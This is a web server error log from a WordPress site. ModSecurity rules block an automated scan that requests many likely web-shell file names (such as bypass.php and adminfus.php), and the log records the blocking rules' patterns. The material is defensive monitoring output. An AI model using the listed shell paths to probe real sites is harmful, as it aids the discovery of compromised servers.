[Sat Feb 28 08:56:38.452327 2026] [:error] [pid 11791:tid 11811] [client 173.244.55.22:62279] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "aaI9RmuX5e1Q32gqxH1RBgAAARI"]
[Sat Feb 28 08:56:39.335149 2026] [proxy_fcgi:error] [pid 22194:tid 22211] [client 173.244.55.26:29355] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:40.220065 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.26:29355] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaI9SH6mbajs3bzQGyvCGQAAAUU"]
[Sat Feb 28 08:56:41.541498 2026] [proxy_fcgi:error] [pid 11791:tid 11807] [client 173.244.55.25:23009] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:41.994469 2026] [proxy_fcgi:error] [pid 11791:tid 11798] [client 173.244.55.25:23009] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:42.878565 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.25:23009] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaI9SmuX5e1Q32gqxH1RSwAAAQ4"]
[Sat Feb 28 08:56:44.218611 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.29:45957] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaI9TGuX5e1Q32gqxH1RXwAAAQ4"]
[Sat Feb 28 08:56:45.104466 2026] [proxy_fcgi:error] [pid 39184:tid 39227] [client 173.244.55.26:65089] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:45.553446 2026] [proxy_fcgi:error] [pid 39184:tid 39241] [client 173.244.55.26:65089] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:45.996206 2026] [:error] [pid 39184:tid 39228] [client 173.244.55.26:65089] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img/about.php"] [unique_id "aaI9TVtZF9Zd_U7easCPYAAAAEk"]
[Sat Feb 28 08:56:46.877114 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.25:44409] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img/about.php"] [unique_id "aaI9TmuX5e1Q32gqxH1RmgAAAQI"]
[Sat Feb 28 08:56:47.758935 2026] [:error] [pid 39184:tid 39226] [client 173.244.55.23:28521] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img/about.php"] [unique_id "aaI9T1tZF9Zd_U7easCPbAAAAEc"]
[Sat Feb 28 08:56:48.638105 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.25:36577] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img/about.php"] [unique_id "aaI9UH6mbajs3bzQGyvCcgAAAVc"]
[Sat Feb 28 08:56:49.953499 2026] [:error] [pid 39183:tid 39216] [client 173.244.55.22:21489] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaI9URCf4HvhVePw3LasCAAAABg"]
[Sat Feb 28 08:56:50.854920 2026] [proxy_fcgi:error] [pid 22194:tid 22203] [client 173.244.55.22:46559] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:51.748756 2026] [proxy_fcgi:error] [pid 22194:tid 22200] [client 173.244.55.22:46559] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:52.188684 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.22:46559] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaI9VH6mbajs3bzQGyvCtQAAAVc"]
[Sat Feb 28 08:56:53.519889 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.25:40871] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/db.php"] [unique_id "aaI9VX6mbajs3bzQGyvC3wAAAVU"]
[Sat Feb 28 08:56:54.403145 2026] [:error] [pid 22194:tid 22208] [client 173.244.55.22:37389] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaI9Vn6mbajs3bzQGyvC-AAAAUw"]
[Sat Feb 28 08:56:55.277909 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.25:32607] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaI9V2uX5e1Q32gqxH1SCQAAARU"]
[Sat Feb 28 08:56:56.158201 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.26:24655] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaI9WFtZF9Zd_U7easCPqgAAAFM"]
[Sat Feb 28 08:56:57.037962 2026] [:error] [pid 39185:tid 39268] [client 173.244.55.20:44413] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaI9WRVE-FfM89u7BQa2jwAAAJY"]
[Sat Feb 28 08:56:57.906261 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.23:57039] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaI9WX6mbajs3bzQGyvDLgAAAUY"]
[Sat Feb 28 08:56:59.235990 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.25:44609] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/colors.min.php"] [unique_id "aaI9W6IAO5fN7BxyqcFNgwAAAMI"]
[Sat Feb 28 08:57:00.572882 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.31:53727] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaI9XKIAO5fN7BxyqcFNlAAAAMs"]
[Sat Feb 28 08:57:01.465331 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.31:57839] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaI9XWuX5e1Q32gqxH1SUQAAAQQ"]
[Sat Feb 28 08:57:02.353492 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.22:57509] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaI9Xn6mbajs3bzQGyvDdAAAAUc"]
[Sat Feb 28 08:57:03.682247 2026] [:error] [pid 22194:tid 22205] [client 173.244.55.28:44829] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaI9X36mbajs3bzQGyvDkAAAAUk"]
[Sat Feb 28 08:57:05.017794 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.28:32991] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/wp-aespa.php"] [unique_id "aaI9YWuX5e1Q32gqxH1SiAAAAQo"]
[Sat Feb 28 08:57:05.919260 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.28:49159] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/wp-aespa.php"] [unique_id "aaI9YX6mbajs3bzQGyvDpAAAAU4"]
[Sat Feb 28 08:57:06.793977 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.21:25785] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/wp-aespa.php"] [unique_id "aaI9Yn6mbajs3bzQGyvDrAAAAUE"]
[Sat Feb 28 08:57:08.134529 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.23:39909] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aaI9ZBVE-FfM89u7BQa23gAAAIs"]
[Sat Feb 28 08:57:09.045028 2026] [proxy_fcgi:error] [pid 39184:tid 39227] [client 173.244.55.31:63049] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:10.832516 2026] [:error] [pid 39184:tid 39228] [client 173.244.55.31:63049] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaI9ZltZF9Zd_U7easCQPQAAAEk"]
[Sat Feb 28 08:57:11.723034 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.26:35657] [client 173.244.55.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.26, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaI9Z6IAO5fN7BxyqcFN-AAAAME"]
[Sat Feb 28 08:57:13.072404 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.26:35657] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-core-upgrader-first.php"] [unique_id "aaI9aaIAO5fN7BxyqcFOBAAAANM"]
[Sat Feb 28 08:57:13.951309 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.26:62583] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-core-upgrader-first.php"] [unique_id "aaI9aVtZF9Zd_U7easCQXQAAAEA"]
[Sat Feb 28 08:57:15.731444 2026] [proxy_fcgi:error] [pid 11791:tid 11803] [client 173.244.55.25:62039] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:16.172647 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.25:62039] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaI9bGuX5e1Q32gqxH1TPAAAAQs"]
[Sat Feb 28 08:57:17.052440 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.31:52825] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaI9bRVE-FfM89u7BQa3MwAAAIc"]
[Sat Feb 28 08:57:19.302475 2026] [proxy_fcgi:error] [pid 11791:tid 11800] [client 173.244.55.22:64189] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:19.743501 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.22:64189] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-fmfile.php"] [unique_id "aaI9b2uX5e1Q32gqxH1ThgAAAQQ"]
[Sat Feb 28 08:57:20.631762 2026] [proxy_fcgi:error] [pid 22194:tid 22210] [client 173.244.55.30:57369] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:22.402456 2026] [proxy_fcgi:error] [pid 22194:tid 22217] [client 173.244.55.30:57369] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:22.847454 2026] [proxy_fcgi:error] [pid 22194:tid 22213] [client 173.244.55.30:57369] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:24.188250 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.30:57369] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp.php"] [unique_id "aaI9dH6mbajs3bzQGyvEggAAAUs"]
[Sat Feb 28 08:57:25.509983 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.20:37445] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:25.949109 2026] [proxy_fcgi:error] [pid 39292:tid 39311] [client 173.244.55.20:37445] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:26.390452 2026] [proxy_fcgi:error] [pid 39292:tid 39297] [client 173.244.55.20:37445] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:26.837163 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.20:37445] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nation.php"] [unique_id "aaI9dqIAO5fN7BxyqcFOcwAAAMg"]
[Sat Feb 28 08:57:27.727455 2026] [proxy_fcgi:error] [pid 39183:tid 39215] [client 173.244.55.25:50671] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:28.167008 2026] [:error] [pid 39183:tid 39195] [client 173.244.55.25:50671] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaI9eBCf4HvhVePw3LasxQAAAAM"]
[Sat Feb 28 08:57:29.053164 2026] [:error] [pid 39183:tid 39209] [client 173.244.55.29:57679] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaI9eRCf4HvhVePw3Las1gAAABE"]
[Sat Feb 28 08:57:29.937066 2026] [:error] [pid 39185:tid 39260] [client 173.244.55.25:31817] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaI9eRVE-FfM89u7BQa3pgAAAI4"]
[Sat Feb 28 08:57:31.276641 2026] [proxy_fcgi:error] [pid 39292:tid 39311] [client 173.244.55.30:32973] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:31.722449 2026] [proxy_fcgi:error] [pid 39292:tid 39297] [client 173.244.55.30:32973] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:32.606072 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.30:32973] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/XxX.php"] [unique_id "aaI9fKIAO5fN7BxyqcFOwgAAAMM"]
[Sat Feb 28 08:57:33.489486 2026] [proxy_fcgi:error] [pid 39185:tid 39264] [client 173.244.55.21:21843] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:34.366455 2026] [:error] [pid 39185:tid 39258] [client 173.244.55.21:21843] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaI9fhVE-FfM89u7BQa3wQAAAIw"]
[Sat Feb 28 08:57:35.253419 2026] [:error] [pid 39292:tid 39315] [client 173.244.55.25:54803] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaI9f6IAO5fN7BxyqcFO2AAAANU"]
[Sat Feb 28 08:57:36.133527 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.25:48907] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaI9gGuX5e1Q32gqxH1UeQAAARA"]
[Sat Feb 28 08:57:38.802600 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.22:31087] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaI9gmuX5e1Q32gqxH1UsgAAAQk"]
[Sat Feb 28 08:57:40.140640 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.21:53233] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaI9hBVE-FfM89u7BQa37wAAAJE"]
[Sat Feb 28 08:57:41.983131 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.29:53409] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaI9hWuX5e1Q32gqxH1U9gAAARQ"]
[Sat Feb 28 08:57:42.864641 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.25:51271] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/install.php"] [unique_id "aaI9hqIAO5fN7BxyqcFPOgAAANE"]
[Sat Feb 28 08:57:44.656477 2026] [proxy_fcgi:error] [pid 39292:tid 39299] [client 173.244.55.29:42119] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:57:45.099645 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.29:42119] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-content/uploads/install.php"] [unique_id "aaI9iaIAO5fN7BxyqcFPWAAAAM0"]
[Sat Feb 28 08:57:46.414454 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.21:45809] AH01071: Got error 'Primary script unknown'
